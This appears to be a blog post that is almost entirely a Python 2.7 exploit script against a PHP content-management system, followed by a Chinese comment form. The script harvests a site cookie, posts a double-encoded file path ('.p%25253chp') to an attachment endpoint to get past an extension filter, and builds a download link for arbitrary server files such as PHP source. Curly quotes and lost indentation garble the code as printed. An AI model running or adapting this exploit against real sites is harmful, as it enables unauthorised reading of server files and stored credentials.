python 2.7

import requests

url_1 = “http://127.0.0.1//index.php?m=wap&c=index&a=init&siteid=1”

 

r_g = requests.get(url_1)
for cookie in r_g.cookies:
if ‘_siteid’ in cookie.name:
userid = cookie.value
print “siteid” + userid + “\n”

url_2 = “http://127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp”

 

data_1 = {‘userid_flash’: userid}
r_p = requests.post(url = url_2, data= data_1)

for cookie in r_p.cookies:
if ‘_att_json’ in cookie.name:
att_json = cookie.value
print “att_json: ” + att_json + “\n”

key = “http://127.0.0.1/index.php?m=content&c=down&a=init&a_k=” + att_json
print key

发表评论

电子邮件地址不会被公开。 必填项已用*标注